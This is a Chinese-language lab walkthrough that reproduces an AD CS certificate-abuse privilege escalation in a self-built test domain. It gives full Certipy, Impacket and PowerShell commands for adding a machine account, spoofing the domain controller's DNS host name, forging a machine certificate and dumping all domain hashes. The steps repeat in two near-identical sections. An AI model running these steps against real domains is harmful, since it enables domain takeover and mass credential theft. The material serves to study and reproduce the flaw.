本文首发于蛇矛实验室:https://mp.weixin.qq.com/s/AuPajld1K7N5alAkgMZNfA
环境搭建
域控
选择一台winserver2016搭建域控服务,这里是winserver2016。选择Active Directory 域服务,其他默认即可。


安装完成之后,提升为域控制器,开始配置域控。
添加新林rangenet.cn,其他默认,然后一步步到安装完成。


ADCS搭建
下面正式开始安装ADCS服务,只需要注意下面截图的内容,其他都是默认。
服务器管理器–>添加角色和功能向导–>勾选服务器角色–>Active Director 证书服务


开始安装

配置ADCS服务,只需要注意下面截图的内容,其他都是默认。





新建低权限AD用户
创建低权限AD用户Zhangfei:ZFpassword@123



工具
https://github.com/SecureAuthCorp/impacket
https://github.com/ly4k/Certipy
https://github.com/CravateRouge/bloodyAD
测试复现
配置 DNS
修改kali的/etc/hosts文件并添加以下条目:

域内定位CA机器
在域内机器上执行,为了方便这里在域控中执行
certutil -config - -ping

测试证书生成
首先使用用户证书模板为我们的低权限AD用户 (Username=zhangfei Password=ZFpassword@123) 生成证书:
certipy req ‘rangenet.cn/zhangfei:ZFpassword@123@dc.rangenet.cn’ -ca RANGENET-DC-CA -template User

验证此证书是否有效
certipy auth -pfx zhangfei.pfx

创建机器账户到域
我们需要向域中添加一台新计算机以生成机器证书。我们不必将物理计算机添加到网络中。我们可以使用Impacket的addcomputer.py脚本让它看起来像我们正在添加一台新计算机:
addcomputer.py ‘rangenet.cn/zhangfei:ZFpassword@123’ -method LDAPS -computer-name ‘zhangfeiPC’ -computer-pass ‘ZFpassword@123’

参数说明:
-
Rangenet.cn/zhangfei:ZFpassword@123 有效的 AD 凭据才能添加新计算机。 -
Method 身份验证方法。LDAPS 将与域控制器上的 LDAP 服务交互。 -
computer-name 计算机的名称,可以随便起。 -
computer-pass 与我计算机的机器帐户关联的密码。也可以随便起。
请求机器证书
们创建的新计算机生成一个证书。要使用该计算机的机器帐户,您需要在名称末尾添加一个“$”:
certipy req ‘rangenet.cn/zhangfeiPC$:ZFpassword@123@dc.rangenet.cn’ -ca RANGENET-DC-CA -template Machine

Certipy验证证书是否有效,获取到哈希,证明有效:
certipy auth -pfx zhangfeipc.pfx

更新 DNS 主机名和 SPN 属性
使用Get-ADCompute命令查看AD对象中DNS主机名和SPN:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x95o8xv2-1653633893829)(media/e595db34146f1e526f31ef46b4a13eb3.png)]](https://img-blog.csdnimg.cn/7f4222cd9a5144058f3ad5f09b04fb37.png)
首先删除我们当前的 SPN 属性:
Set-ADComputer zhangfeiPC -ServicePrincipalName @{}
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5mdNDxHI-1653633893829)(media/5a63d5a5b51830daee9c6419987b927c.png)]](https://img-blog.csdnimg.cn/41eff5c01bb04ee295f2223b9ab2ffea.png)
使用Set-ADComputer cmdlet将DNS主机名属性更新为DC的属性
Set-ADComputer zhangfeiPC -DnsHostName DC.rangenet.cn
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9lXWjJjE-1653633893830)(media/7069118c7a325a058b7e216257ecc1d7.png)]](https://img-blog.csdnimg.cn/96fdd26ea3b44546a794334eea7fdca9.png)
验证是否进行了更改,可以看到已经成功更改DNSHostName为dc.rangenet.cn:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vT6gQ9lq-1653633893831)(media/732e9ee58e7d687856cddd6db3b7d479.png)]](https://img-blog.csdnimg.cn/fcd8f026ee3745c694cd7933ffc85a30.png)
伪造恶意证书
再次运行Certipy的相同命令来重新生成机器证书,可以看到DNS Host Name已经变成了dc.rangenet.cn:
certipy req ‘rangenet.cn/zhangfeiPC$:ZFpassword@123@dc.rangenet.cn’ -ca RANGENET-DC-CA -template Machine
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fFwfQXOY-1653633893831)(media/78df598c98cc6ad65db26f0f6ca63512.png)]](https://img-blog.csdnimg.cn/b4445688a2db46889bb1f686e10b198a.png)
再次验证证书是否有效,成功获取到哈希:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lRjW86WW-1653633893831)(media/391b8df4baf4226d64c7a7de5754ac87.png)]](https://img-blog.csdnimg.cn/54a4461fa90449b4834a630334fa1948.png)
转储所有用户哈希
这里使用impacket的secretsdump.py来dump哈希
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W6hOjigL-1653633893832)(media/f185103d20e8f4bac3a3f4457bf4cf1d.png)]](https://img-blog.csdnimg.cn/1ebb4abbd39341f0bb8e5b9c24eb677a.png)
攻击复现
配置 DNS
修改kali的/etc/hosts文件并添加以下条目:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6sDUnQGr-1653633893832)(media/e3b15b991e92f533456103ccacfc1e89.png)]](https://img-blog.csdnimg.cn/11f0f56a06404d3d8f2f1c7b991c9877.png)
域内定位CA机器
在域内机器上执行,为了方便这里在域控中执行
certutil -config - -ping
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4Glg5zh0-1653633893832)(media/bdc3d13651336d9d34cd306b8a944a56.png)]](https://img-blog.csdnimg.cn/d011ef66e92c4556b264beab0f77af35.png)
测试证书生成
首先使用用户证书模板为我们的低权限AD用户 (Username=zhangfei Password=ZFpassword@123) 生成证书:
certipy req ‘rangenet.cn/zhangfei:ZFpassword@123@dc.rangenet.cn’ -ca RANGENET-DC-CA -template User
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wsr8p8qR-1653633893833)(media/08040541c753a2b01f8a9930c0b72564.png)]](https://img-blog.csdnimg.cn/00839a56fdfe412eadb28387221ea35f.png)
验证此证书是否有效
certipy auth -pfx zhangfei.pfx
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XUXFli0q-1653633893833)(media/e7a86e4745906cc308b7217a27d84785.png)]](https://img-blog.csdnimg.cn/a1c02ac2c381411f9cc17f3d91976f3a.png)
创建机器账户到域
使用bloodyAD工具来创建机器账户。
查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户

在LDAP中创建一个机器帐户
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yOKjzIR6-1653633893833)(media/a7a0f972f8438b01d59766ebc396a8c5.png)]](https://img-blog.csdnimg.cn/de0575d605064b3286e675c763675ec3.png)
更新机器帐户的DNS HostName
将机器帐户的DNS Host Name改为域控的DC.rangenet.cn
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6PyeGLMb-1653633893834)(media/90615aaafccab8dcca504c88992349a9.png)]](https://img-blog.csdnimg.cn/235ba3ae53ae4c9aaedc27a965a428cf.png)
查看属性,是否成功更改了DNS Host Name
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9agW4zVZ-1653633893834)(media/fb5b7a530f3bd3440192b2f1d9fff447.png)]](https://img-blog.csdnimg.cn/3a770b7d61cd48e4b63ad15c0315565b.png)
伪造恶意证书
运行Certipy来重新生成机器证书,可以看到DNS Host Name已经变成了dc.rangenet.cn:
certipy req ‘rangenet.cn/zhangfeiPC$:ZFpassword@123@dc.rangenet.cn’ -ca RANGENET-DC-CA -template Machine
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rqCCMYGr-1653633893834)(media/78df598c98cc6ad65db26f0f6ca63512.png)]](https://img-blog.csdnimg.cn/127a8722fee14382a2f498069e83899d.png)
再次验证证书是否有效,成功获取到哈希:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2hwzByUz-1653633893835)(media/391b8df4baf4226d64c7a7de5754ac87.png)]](https://img-blog.csdnimg.cn/5ff3451127f84d12b3d8b7130309b60e.png)
转储所有用户哈希
这里使用impacket的secretsdump.py来dump哈希
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-isYJiMKa-1653633893835)(media/f185103d20e8f4bac3a3f4457bf4cf1d.png)]](https://img-blog.csdnimg.cn/c814ceb5b3d54654a2c3499303bd9878.png)
|